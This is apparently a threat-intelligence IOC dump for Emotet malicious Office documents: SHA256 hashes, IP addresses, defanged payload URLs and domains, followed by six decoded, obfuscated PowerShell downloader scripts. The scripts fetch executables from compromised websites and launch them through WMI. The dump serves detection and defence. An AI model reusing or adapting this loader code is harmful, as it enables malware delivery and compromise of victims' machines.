Emotet_Doc_out_2020-10-22_23_24.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
2f5f1ec816813289a5f7b31b1054613917d826c0e0869a4cd1998055467b1f76
d7d4f0e3118be6b096fce94e099d314a78ff45b33b0c6db9993b71d66b171e6c
c31dadd735bc89eb4e5095f048428ac07fc1dd62c0f8e3913611dec1ec2ebdc1
014e852d65d32bb545e5d8df486acf4cb24901e87bbe0a9cc7e2d96890a91efc
014e852d65d32bb545e5d8df486acf4cb24901e87bbe0a9cc7e2d96890a91efc
14a0d5ba65a4585300b4daafa06c20898b303bcea1302012ef2f19559124edba
14a0d5ba65a4585300b4daafa06c20898b303bcea1302012ef2f19559124edba
039bfda986025ac26a1b4c5932518600c289321e6896b91df56290da6ccfbdf5
fcc90ffa2119faa6417ad4df76ac4e324afd8f543b1e3896337c6ce2ba635a21
fcc90ffa2119faa6417ad4df76ac4e324afd8f543b1e3896337c6ce2ba635a21
9c0cb6e2390b59f199cd4dfbca2d6eb2106969b29ec8df33e4987474b80344ea
9c0cb6e2390b59f199cd4dfbca2d6eb2106969b29ec8df33e4987474b80344ea
49e99a2c9064c24011dc0c71ff29d661e2b447f8213bc858b7feaa28d5d22576
7eaf0df9dd2a33ee958384a9472366f58f1c0a204360efea6a7f8b0d298560d0
438816e26c1c01dc30d1e4cf41c81ea57cba45585a6b1911541e7500d8cd7d29
438816e26c1c01dc30d1e4cf41c81ea57cba45585a6b1911541e7500d8cd7d29
cbf4191ae57c3cc2c4446c4a362ca2df3006b675f1d8f99e4c6d715c9874d79e
cbf4191ae57c3cc2c4446c4a362ca2df3006b675f1d8f99e4c6d715c9874d79e
ab4a558e5f07f221ed6052698d5a9d1b3654ab56380486df8f091e1176d3af1e
e6ca842f6dc22d3d1bbcd7d115cea469179cbec805078040c652d199c28d6a06
c3336108f0ac7d89a4a56fc3ab128adf42d66758ea9b304fca469f13b02e93a5
3b5450e29142c33d5ba0786ff4f41c07f797b6a7d2ce4c9cda7fbe1188215512
84571ac969ddfed387fb68ef51f1c23448f401e13f42b3cb3c54e42963682d9d
23433b6ffc030c13d0f346dfb92144b3b2e92a4b5ae3c6e1d4d16e7a3e8ce48b
7fc0ea2dff012c502278a94d7dddb537859be6ac340e8ddecd41eb42b169a7a7
86ef36a4a86d0844c160dfbf6782566fe6c8d99281d919454df54dff6fb5411a
269a92de6b0936970cd1faea29d7ab8c010125279fbd063d8b494759bf6b3532
7132fddab8ccd72577838968f3e91a36c9ce64950fde88e34635e5e008be8a13
e2b2399627f40dd364d961bfd6869f3b5feec404cee4269c78c65b253635b6a8
7672ae3ab7ee30ee3ef086ec0b9ced8c85e56d045f12305531d826ba491237b2
4c0eefb631af43ca75f18562817c8ac29361fdf7b5a528341efa855a8d1c6a6a
4c0eefb631af43ca75f18562817c8ac29361fdf7b5a528341efa855a8d1c6a6a
05902a6c459b5ee113e0160231e64f0c1e0a6023654d545ea93abeaf435b71be
05902a6c459b5ee113e0160231e64f0c1e0a6023654d545ea93abeaf435b71be
69246d46d3c893a3ee3740f371c6d72698daa05ba77e3dd8a2c9a4aaaf86aab7
69246d46d3c893a3ee3740f371c6d72698daa05ba77e3dd8a2c9a4aaaf86aab7
2c353218e1a20d8e435f57ae45682506c746562bae6f4761e2398d7caf09791b
2c353218e1a20d8e435f57ae45682506c746562bae6f4761e2398d7caf09791b
41b98ae44f02218d483e91575b218e2695bd769beb1fb3bf346e64c6704db4f8
d7aaad6773873f2f9419d99407b5160aef1799db14f54629f82d831d54c25806
af5bddd9f46abad7cf836d9faf757a676ba5bf9a7ee90e04c3a5cecd22c7fbd6
98a7403f2284947cdcc0c179ba703329edb0e717b26a20be473a2c606a8abab6
539365559591e27530fac0279af96eac60f4a6903037c3056672ef40518c3de7
539365559591e27530fac0279af96eac60f4a6903037c3056672ef40518c3de7
bd0b9def761b12a874705128bbe806e2e8f316cb6be5eb429ca29791a429e690
bd0b9def761b12a874705128bbe806e2e8f316cb6be5eb429ca29791a429e690
df51e418e047ba848de075954ab841887fafe6e47c6b7b6d529222e3795ecb23
6e16bf7d72def557837a5b25b9cc55bf2bd3b45d7fc68ebf97ca8b76b1a56569
6e16bf7d72def557837a5b25b9cc55bf2bd3b45d7fc68ebf97ca8b76b1a56569
d138e39aaab88f62019341eaccd98da50724049adc7a40899eaa4f93d1ad36e9
cb1aba3ed02849000a9b757d22074af26095b60f267a180110ec3e5235a7b77d
cb1aba3ed02849000a9b757d22074af26095b60f267a180110ec3e5235a7b77d
41a63682988f94b9df71c291da74ad8723e2663b7d17e36d8169a3922e5ce580
41a63682988f94b9df71c291da74ad8723e2663b7d17e36d8169a3922e5ce580
48c4356a3629c972a22b83fe612ed12ed47467fd7085e18ac16786cbd9c2bc4a
2e45410e293f870df9a2729fd8d3e0aabac8b6aa79365b502a849f90ccb67b67
2e45410e293f870df9a2729fd8d3e0aabac8b6aa79365b502a849f90ccb67b67
d9dc3781437235ccf4204c9b287ebdc320c13d76e3695b06bb4973d6a1604685
b4461b5c2c529cceec7d5f7ca41dae1c6f767b6fb54c560269f4ddd7d64878ee
b4461b5c2c529cceec7d5f7ca41dae1c6f767b6fb54c560269f4ddd7d64878ee
5f797ffdf10fea5ee7b50bc74647cac73cfc4cef96e92d346c842e6cf3df339a
5f797ffdf10fea5ee7b50bc74647cac73cfc4cef96e92d346c842e6cf3df339a
6839e799b693e3ca94e8dca6215c30843d0efc0df15a694b38f195b56ee67770
6839e799b693e3ca94e8dca6215c30843d0efc0df15a694b38f195b56ee67770
9a2e634b055c2c5d6b48409584474f14474fbb212c394881c1a1e2ab0d7c0640
1398dfcbea47214d59bb327957bac69b2db7c06a50da13399c63aa797fa5fa9b
1398dfcbea47214d59bb327957bac69b2db7c06a50da13399c63aa797fa5fa9b
7bf5865edd1cf7fbc77de4691736ab60bb0d5163db0f3153bb804de1d88953fe
7bf5865edd1cf7fbc77de4691736ab60bb0d5163db0f3153bb804de1d88953fe
61c90e0b60ab1ac4a891679a1e051a65654201f44b65be90543c41691ebe8204
61c90e0b60ab1ac4a891679a1e051a65654201f44b65be90543c41691ebe8204
aea5323b8ec31304c294e8225cddefa8aa8a5df30873dc0b5af266062972583f
aea5323b8ec31304c294e8225cddefa8aa8a5df30873dc0b5af266062972583f
f96bf3a1c2f289447b8d80a94b458e8987c92d191d6fe9880b1f21be1ab78abd
f96bf3a1c2f289447b8d80a94b458e8987c92d191d6fe9880b1f21be1ab78abd
51fc6f80bb24d135bba70ff8841d75b55f19f4d1d28fc06bc37592e9cbb9e795
51fc6f80bb24d135bba70ff8841d75b55f19f4d1d28fc06bc37592e9cbb9e795
a4d62fab68ef1d6b045a87b9ad2d4caa489869d665aba8129c7cd85333163fd3
a4d62fab68ef1d6b045a87b9ad2d4caa489869d665aba8129c7cd85333163fd3
40347dde07281a18b20079ad1bac5b0a981444847f0279db249fa34e2f4b8b1e
40347dde07281a18b20079ad1bac5b0a981444847f0279db249fa34e2f4b8b1e
97b65be9fd47454760b1e5fd5912b7ec4d36712b38bc2c381b4671464abc096f
97b65be9fd47454760b1e5fd5912b7ec4d36712b38bc2c381b4671464abc096f
9bb4de39d9e3b645efd9378896791c1cdee73c0c1501b95fde6b2adb1334c0e6
9bb4de39d9e3b645efd9378896791c1cdee73c0c1501b95fde6b2adb1334c0e6
65fab287607d55bb546b639bcce9b869bae1c1fda07a15c68e1b9ebe8a626a68
65fab287607d55bb546b639bcce9b869bae1c1fda07a15c68e1b9ebe8a626a68
33d8282536536c651d28cb08401045d2a01d13e2606369788ecf8ffe2136a4b6
33d8282536536c651d28cb08401045d2a01d13e2606369788ecf8ffe2136a4b6
6397a3fae0ba30df15fa08d899b101613684907ddc344580ff8402ef5cb35cff
a6540f229c21ccaf245ddbce5fea77f216483b5dbd6ca26ed2fa92997426d6bc
1897a70790c07d00de31ac18813c0c1c5f3344f9251634f3e8152603cdf6d13d
4cbd537b728c17d400cade05f1fcf9810b723df76c9efb65e6a75648d59cf13b
bfc258207c269b90840c0f912c129f0f366345cdc1c88c174f59a2848a979d8e
2337d245436dac2318a71b141e75aebfd4c1e83e960db9e0b032909fd991dc44
8cd1c27e31ede752faf38d915cb7ecc05fd8044e331cebed09ad28fad2cfb8b1
e1c18ef2692a84d679e77f98cb2d79c78ce841f999715235aa5aac42607ad26a
eb5559bf1fedae620572950c55a896bf8fcd9a7e7eecf48dae9b468c9f79043f
8849667217cbf5aaf17be7bc7eaef3b073f32d6d7d7a6f36a022c270228a0d8b
2b5d780260b9baa4b4726bdeda7bd5186b31885b6b7976d84b313b780f302ab0
2b5d780260b9baa4b4726bdeda7bd5186b31885b6b7976d84b313b780f302ab0
ea4923d6d51058428ce3cac6ced475b5e024b7ae1974b0ce9f37f563847f89f0
46035df42146415903e45c8938c23ce819bf83cb2e5328b555ec947a0d1b9bd0
e600970bb93a8c3708d6ceb234f37ad35250a7e43cf36b71c0ed157730a526ab
44be59f199c5d2d4d0dcfef847d9e611abcaab3d8223b63fcbfe9a5d3c6745d5
fe5ff5b44dde8df916f46992574027192d8a8bf4ab36091fcb25905c0afa6afb
2c746449ae089b436ecab1058c035e9ea8e01fd8f45508ed2ed720ff30ee2c01
2c746449ae089b436ecab1058c035e9ea8e01fd8f45508ed2ed720ff30ee2c01
7726801f846f3a79f073244ea0ffbfbed6ee847b498b4ae15f94a1dc09489fdc


IPs:
102.130.123.81
104.18.58.178
104.18.59.178
104.24.98.175
104.24.99.175
104.27.163.9
104.27.166.218
106.53.251.200
107.180.27.178
109.232.217.183
112.175.184.11
112.213.89.26
131.153.44.4
133.242.249.189
144.217.161.123
170.10.164.154
172.105.57.111
172.67.136.156
172.67.166.248
172.67.179.15
172.67.180.46
18.140.232.244
185.224.138.100
213.186.33.3
216.10.242.176
216.218.207.98
3.10.134.94
35.214.215.33
40.119.6.228
45.252.248.20
46.102.129.161
64.91.227.108
68.66.248.54
69.197.167.74
69.65.3.162
70.35.202.191
78.46.146.150
81.19.215.165
88.99.145.163



URLs:
hxxps://jumpingphones.com/wp-admin/W/
hxxps://gksystemsnamakkal.xyz/wp-content/SsH/
hxxp://baichoi.tranbaocuong.top/application/h5c/
hxxp://movie-2free.com/cgi-bin/2wv/
hxxp://mugiya-pan.com/wp/czH/
hxxps://topperit.com/demo1/tt/
hxxp://myfarasan.com/wp-admin/o/
hxxps://paasologrp.com/parseopmlo/5/
hxxp://launch.tactikafacewear.com/wp-content/Uk/
hxxps://singohotel.com/dashboardl/q/
hxxps://www.mymathlabhomework.com/wp-content/o/
hxxps://dietherbsindia.com/assets/k8oo/
hxxps://dev-tech.eu/demoshop/P0/
hxxps://mithraa.co/nMT/
hxxp://chess-pgn.com/win-raid/l6T5/
hxxp://eubanks7.com/administrator/ubdDbB/
hxxps://erkala.com/wp-admin/mi5m/
hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
hxxp://nickjehlen.com/oldsite/nZSNQ/
hxxp://www.riminvest.vn/install/Zxh/
hxxp://www.1ca.co.za/1cAdmin/b/
hxxp://paulscomputing.com/CraigsMagicSquare/f/
hxxp://wikibricolage.com/wp-admin/XiZrby/
hxxps://rallyemas.com/wp-content/x51/
hxxps://swiftbusinesspay.com/instantworldpay.com/OkII6/
hxxp://www.chapelknollestates.com/cgi-bin/Xr9RkLq/
hxxp://ffbutik.com/wp-includes/tb/
hxxps://inspiresint.com/wp-admin/4qNS8hW/
hxxp://www.sc2gym.com/indexing/RMsorI/
hxxp://akdparivar.com/css/J/
hxxp://yudaobath.com/wp-includes/vbayxJ/
hxxps://jinyangsheetmetal.co.kr/wp-content/Kx7IN1cEY/
hxxp://mindgeniltd.co.uk/indexing/X5bSo/
hxxps://sinanashkan.com/wp-admin/DkHxvf8KX/
hxxps://navneetfamilycoach.com/wp-content/IRX/
hxxps://usasnet.com/wp-includes/6k/
hxxp://scolarite-fssm.uca.ma/wp-content/uploads/Wmo0C/
hxxps://autofit.pt/wp-content/jjVLAR/
hxxps://sorbonne-capital.com/wp-admin/G/
hxxps://zagoradesertcamp.com/templates/u/
hxxp://chavezrob.com/wp-includes/zkd/
hxxps://buybacksoft.com/old/5s/
hxxp://thetechieforu.com/wp-includes/2/
hxxp://www.movie-2free.com/cgi-bin/d/
hxxps://yogeejee.com/wp-includes/b/


Domains:
jumpingphones.com
gksystemsnamakkal.xyz
baichoi.tranbaocuong.top
movie-2free.com
mugiya-pan.com
topperit.com
myfarasan.com
paasologrp.com
launch.tactikafacewear.com
singohotel.com
www.mymathlabhomework.com
dietherbsindia.com
dev-tech.eu
mithraa.co
chess-pgn.com
eubanks7.com
erkala.com
lidoraggiodisole.it
nickjehlen.com
www.riminvest.vn
www.1ca.co.za
paulscomputing.com
wikibricolage.com
rallyemas.com
swiftbusinesspay.com
www.chapelknollestates.com
ffbutik.com
inspiresint.com
www.sc2gym.com
akdparivar.com
yudaobath.com
jinyangsheetmetal.co.kr
mindgeniltd.co.uk
sinanashkan.com
navneetfamilycoach.com
usasnet.com
scolarite-fssm.uca.ma
autofit.pt
sorbonne-capital.com
zagoradesertcamp.com
chavezrob.com
buybacksoft.com
thetechieforu.com
www.movie-2free.com
yogeejee.com


Decoded Base64 Powershell:
<���^,  Sv Gmb  [TYPE]"{1}{5}{4}{2}{0}{3}"-FT,SYstE,eC,oRY,IR,m.Io.d  ;
$L01C =[tYpE]"{0}{4}{1}{5}{2}{3}" -Fsyst,net.s,RviCePoINtMaNag,Er,eM.,e ;
  $Mwuzos6=Uaxy011;
$Cb_5cci=$Pwzxxz1  [char]64  $Imvpw3s;
$Enmqsto=Rpiwh33;
   vaRIAbLe  gmb -VAluEONl  ::"cR`E`ATe`di`ReCtORY"$HOME  8kLSsu_x6q8kLOqs13h68kL."r`EPLACe"[char]56[char]107[char]76,\;
$Twefth0=Wmmc9ps;
   GCi  vARIABle:L01c .vAlUE::"sE`C`UrITYprOt`oCoL" = Tls12;
$N2swnjo=Fr_hrea;
$Y5oofgz = O1zaymn0;
$Nvggmjj=Fdrjgrr;
$A9bi3m3=Uti1smg;
$Fkk2z9t=$HOMEnodSsu_x6qnodOqs13h6nod."rEPL`A`Ce"[cHaR]110[cHaR]111[cHaR]100,[stRiNG][cHaR]92$Y5oofgz.exe;
$Oh6zh87=Tkiauln;
$Gnh3k8v=.new-object nET.WebcLIEnt;
$Rdhqufw=hxxps://jumpingphones.com/wp-admin/W/
hxxps://gksystemsnamakkal.xyz/wp-content/SsH/
hxxp://baichoi.tranbaocuong.top/application/h5c/
hxxp://movie-2free.com/cgi-bin/2wv/
hxxp://mugiya-pan.com/wp/czH/
hxxps://topperit.com/demo1/tt/
hxxp://myfarasan.com/wp-admin/o/."ReP`Lace"/,/."S`pLIt"$F3xpl2x  $Cb_5cci  $V6o5btp;
$Xc1_x4a=B6srd23;
foreach $Ug0xrqy in $Rdhqufw{try{$Gnh3k8v."DOwNLoad`F`ile"$Ug0xrqy, $Fkk2z9t;
$E_s2z3c=Oy7nsbg;
If &Get-Item $Fkk2z9t."lE`NGtH" -ge 34222 {[wmiclass]win32_Process."c`RE`ATe"$Fkk2z9t;
$Idrvnwp=Nmrifdc;
break;
$Yycazhf=Xp09ywb}}catch{}}$Hx3xl84=C_gpwvp<���^, $jCFVPb  =[TYPe]"{2}{3}{1}{5}{4}{0}" -FY,.D,sYS,tEm.Io,or,IRECT;
  sEt-iteM "VarIabl""E"":W""Xor"  [tYpe]"{2}{4}{1}{0}{6}{5}{8}{3}{7}" -F t.Ser,TeM.nE,S,aN,Ys,In,vicepo,aGeR,Tm    ;
 $Aa2c0wl=Jc44ikh;
$Uu71e21=$Os0uzdf  [char]64  $D44dakn;
$Fkzeax3=J6v_49e;
   gET-VaRIAbLe  JCFVPB  .vAluE::"crEa`T`e`d`iRectoRy"$HOME  UjmQyj9bw1UjmA5vuovnUjm."re`PlacE"Ujm,[StriNG][Char]92;
$Qr_7w48=Wh0f5ho;
  $wXOr::"Se`curitYPr`ot`OC`OL" = Tls12;
$Sww0wdd=S0h6tg1;
$Wkivi0b = Rcrtkr;
$Kn3i4zw=Dqskhlf;
$Oocgyvc=Sr2q227;
$Ah5wmea=$HOMELosQyj9bw1LosA5vuovnLos."R`ePlACe"Los,[sTrIng][char]92$Wkivi0b.exe;
$Fahw56k=C3bob8t;
$Vb8kf7h=.new-object NET.wEBclieNT;
$Mafq5wg=hxxps://paasologrp.com/parseopmlo/5/
hxxp://launch.tactikafacewear.com/wp-content/Uk/
hxxps://singohotel.com/dashboardl/q/
hxxps://www.mymathlabhomework.com/wp-content/o/
hxxps://dietherbsindia.com/assets/k8oo/
hxxps://dev-tech.eu/demoshop/P0/
hxxps://mithraa.co/nMT/
hxxp://chess-pgn.com/win-raid/l6T5/."R`eP`lAce"/,/."sPL`It"$O98fil9  $Uu71e21  $Hntl9gq;
$Pzcgeul=C6c8tym;
foreach $Odi78ep in $Mafq5wg{try{$Vb8kf7h."DoW`NloAd`FiLE"$Odi78ep, $Ah5wmea;
$Z78561v=Cokql_k;
If &Get-Item $Ah5wmea."Le`N`gTH" -ge 48813 {[wmiclass]win32_Process."cR`EATE"$Ah5wmea;
$Q5n6m2_=Fcnjakx;
break;
$Smcjwv7=Ed2j6od}}catch{}}$Dw86_0x=Yhxxhxc<���^, SeT-ITEM Variable:VhD295    [Type]"{2}{4}{1}{3}{0}" -f.dIrECtoRY,TEm.,SY,iO,s;
   $tw9=[type]"{3}{5}{6}{1}{7}{0}{8}{2}{4}"-f Mana,VIcepoi,e,SyS,R,Tem.neT.S,er,nt,g  ;
 $I0re23e=Xgsd_0r;
$Y380o1f=$Iqp5uea  [char]64  $Dxd8ovx;
$H4xqibj=Ailtv8n;
 $VHd295::"CrE`AtedIRe`ctory"$HOME  sacJehhzdasacBen14frsac."rE`PLACE"sac,\;
$Q5om2xu=Yyaeziv;
  CHilDITem VariaBlE:TW9 .vALue::"sEcUr`itypr`oToc`OL" = Tls12;
$Nz5glbl=E45m5si;
$Grq403l = G_jugk;
$Qjpsvaf=Ux0_8dg;
$Ptdg95h=Lp5710a;
$Sgwq779=$HOMEF5BJehhzdaF5BBen14frF5B."RePl`ACe"[ChAr]70[ChAr]53[ChAr]66,[strinG][ChAr]92$Grq403l.exe;
$Gwg98u1=A7bz6sm;
$Sll8oku=.new-object nEt.WebCLIEnt;
$G_awhi9=hxxp://eubanks7.com/administrator/ubdDbB/
hxxps://erkala.com/wp-admin/mi5m/
hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
hxxp://nickjehlen.com/oldsite/nZSNQ/
hxxp://www.riminvest.vn/install/Zxh/
hxxp://www.1ca.co.za/1cAdmin/b/
hxxp://paulscomputing.com/CraigsMagicSquare/f/
hxxp://wikibricolage.com/wp-admin/XiZrby/."R`EPLA`cE"/,/."SPl`It"$Bhybdef  $Y380o1f  $A_bfhkh;
$Q52l9j7=U5fb3tv;
foreach $Wxynj19 in $G_awhi9{try{$Sll8oku."d`oWnLoADf`ile"$Wxynj19, $Sgwq779;
$C14tl_b=Lm89svd;
If .Get-Item $Sgwq779."lE`NG`Th" -ge 44686 {[wmiclass]win32_Process."c`R`eaTE"$Sgwq779;
$Gca3bf5=Pjk0ect;
break;
$Cbrsysx=P6wm9uh}}catch{}}$Kmtqugc=Zhz13gm<���^, seT-ITeM  vaRiabLe:wgN9  [typE]"{3}{2}{1}{0}"-F RY,DirECto,eM.Io.,SySt  ;
 SET-Item variABlE:ItmFc   [tYPE]"{4}{1}{0}{7}{6}{5}{2}{3}" -FsE,m.nET.,NTMANAGe,R,SySTE,I,po,RviCE  ;
 $O3k2aje=P63zfnz;
$G4yxyz5=$Sqmz15i  [char]64  $M9xxs_s;
$Zgd8pdd=Ol7z7la;
  $WgN9::"cRE`AtEd`IReCTo`Ry"$HOME  1qmHyarty_1qmNm_cy551qm."repLa`ce"[ChaR]49[ChaR]113[ChaR]109,\;
$Rbmhre3=Nlkdwri;
   varIAbLe Itmfc -Valu  ::"s`ECu`RItYprO`To`COl" = Tls12;
$Im1_j3t=Jmfp9td;
$Quvxn2l = Xr0ryl;
$Wonod5a=Bdkmtvb;
$Xs16f0n=Zidgfs2;
$Fyaar5a=$HOME{0}Hyarty_{0}Nm_cy55{0}-f [CHar]92$Quvxn2l.exe;
$Ao6v7oq=I9dmyhu;
$G12ifty=.new-object NET.weBClieNT;
$Ztzxxiq=hxxps://rallyemas.com/wp-content/x51/
hxxps://swiftbusinesspay.com/instantworldpay.com/OkII6/
hxxp://www.chapelknollestates.com/cgi-bin/Xr9RkLq/
hxxp://ffbutik.com/wp-includes/tb/
hxxps://inspiresint.com/wp-admin/4qNS8hW/
hxxp://www.sc2gym.com/indexing/RMsorI/
hxxp://akdparivar.com/css/J/
hxxp://yudaobath.com/wp-includes/vbayxJ/."rEplA`cE"/,/."sp`lit"$Wuc00q4  $G4yxyz5  $Avo715j;
$Imlf2qb=B7si7be;
foreach $G6t9heq in $Ztzxxiq{try{$G12ifty."dOWNLO`ADFI`lE"$G6t9heq, $Fyaar5a;
$Rtlwq4a=P0uk_ue;
If .Get-Item $Fyaar5a."leNG`Th" -ge 40493 {[wmiclass]win32_Process."cREA`TE"$Fyaar5a;
$O_l7p6p=O8c9va_;
break;
$Phhsyeu=Tu382ts}}catch{}}$Zumb59j=Xc679x_<���^, seT-VarIABLe "C4""lq" [type]"{1}{3}{4}{0}{2}"-f tOr,syS,y,tem.IO.d,ireC  ;
  $EuzhJL= [TyPe]"{3}{5}{1}{0}{4}{2}"-FT.SErviCePo,Em.ne,GeR,Sys,INTMaNa,T;
 $Oquick5=P7ui_mk;
$Bnk48w7=$T1n4ak0  [char]64  $Uzjcv5a;
$Z_jqbym=Gp_g3b6;
  GcI vaRIAble:C4Lq .VALUe::"Creat`EDIRe`C`T`ory"$HOME  cGbIb5wcmjcGbS76legocGb-RepLACe[ChAr]99[ChAr]71[ChAr]98,[ChAr]92;
$Pmvo5wj=Mmpna25;
   geT-VARiablE eUZHjl  .ValUe::"SE`cu`RITypRot`ocOl" = Tls12;
$Wzj_d5q=Kluwl3q;
$Cxez558 = V7qijxbn2;
$Z1i_brv=Id37k48;
$Atcx017=Nflvuix;
$V2awvjf=$HOMEc8yIb5wcmjc8yS76legoc8y."rEpL`AcE"c8y,[StriNg][cHaR]92$Cxez558.exe;
$Gc616pj=Aerna0w;
$Zu4xmc9=&new-object Net.weBclIeNt;
$C6b09j7=hxxps://jinyangsheetmetal.co.kr/wp-content/Kx7IN1cEY/
hxxp://mindgeniltd.co.uk/indexing/X5bSo/
hxxps://sinanashkan.com/wp-admin/DkHxvf8KX/
hxxps://navneetfamilycoach.com/wp-content/IRX/
hxxps://usasnet.com/wp-includes/6k/
hxxp://scolarite-fssm.uca.ma/wp-content/uploads/Wmo0C/
hxxps://autofit.pt/wp-content/jjVLAR/."r`EplA`ce"/,/."s`pLIT"$I3xtldc  $Bnk48w7  $Wvq8g_x;
$M7xh9gx=G_x5jtx;
foreach $Cqrekvi in $C6b09j7{try{$Zu4xmc9."DoWn`l`OAdf`ILe"$Cqrekvi, $V2awvjf;
$Oxj4wdw=Av7j0n8;
If &Get-Item $V2awvjf."l`EnGth" -ge 30427 {[wmiclass]win32_Process."cr`e`AtE"$V2awvjf;
$J7fmo1g=Akmriam;
break;
$Xnu26sn=Mgnknx7}}catch{}}$Pn7xshf=Cxu4ky4<���^,Sv kFx9Q  [TYpE]"{3}{1}{0}{2}"-f O,em.io.DIReCT,Ry,SYst   ;
Set-itEM  "VaRIA""B""LE:DzE6"  [TYpe]"{3}{1}{7}{5}{8}{0}{2}{6}{4}" -fErV,y,ICEPoI,S,nAgEr,ET.,nTma,StEm.n,S   ;
 $Eiuy07t=Wjdyza2;
$Cukidud=$Zl3qiox  [char]64  $N9msnth;
$Eub7ap4=Btd1vdy;
   chiLdIteM  vaRiAbLe:KFx9Q.vAlUE::"create`Dir`Ec`T`oRy"$HOME  JSBZwv00z3JSBAdv3vjoJSB  -REPlACE[ChaR]74[ChaR]83[ChaR]66,[ChaR]92;
$Jj4jr9s=P4ebtbz;
 $DZe6::"secUR`iT`YpR`OTOCOL" = Tls12;
$Bjse_7m=Nxozk9g;
$Xcc2c4n = Hnee10n;
$Bijhl3w=V3ylwt_;
$Xk15u4t=Q13g9vw;
$Bgbgi0i=$HOMEbFEZwv00z3bFEAdv3vjobFE."rEpLa`Ce"bFE,[StRIng][chAR]92$Xcc2c4n.exe;
$Xjd3wei=Bn7tj65;
$Zh2xf_6=&new-object Net.WEBCLIeNT;
$Hj9r5y_=hxxps://sorbonne-capital.com/wp-admin/G/
hxxps://zagoradesertcamp.com/templates/u/
hxxp://chavezrob.com/wp-includes/zkd/
hxxps://buybacksoft.com/old/5s/
hxxp://thetechieforu.com/wp-includes/2/
hxxp://www.movie-2free.com/cgi-bin/d/
hxxps://yogeejee.com/wp-includes/b/."R`ePLace"/,/."s`PLIT"$Jxhqitz  $Cukidud  $Svvwaqd;
$Evpnpi7=B03g9ap;
foreach $Nt400hi in $Hj9r5y_{try{$Zh2xf_6."dO`Wnlo`AdF`ILE"$Nt400hi, $Bgbgi0i;
$Xa4knf7=O6caux3;
If &Get-Item $Bgbgi0i."L`E`NGth" -ge 42276 {[wmiclass]win32_Process."crE`ATe"$Bgbgi0i;
$Qnzqqle=Kpk2tl1;
break;
$U1_x57_=A5vg7io}}catch{}}$E9kx2mq=Rt02vxb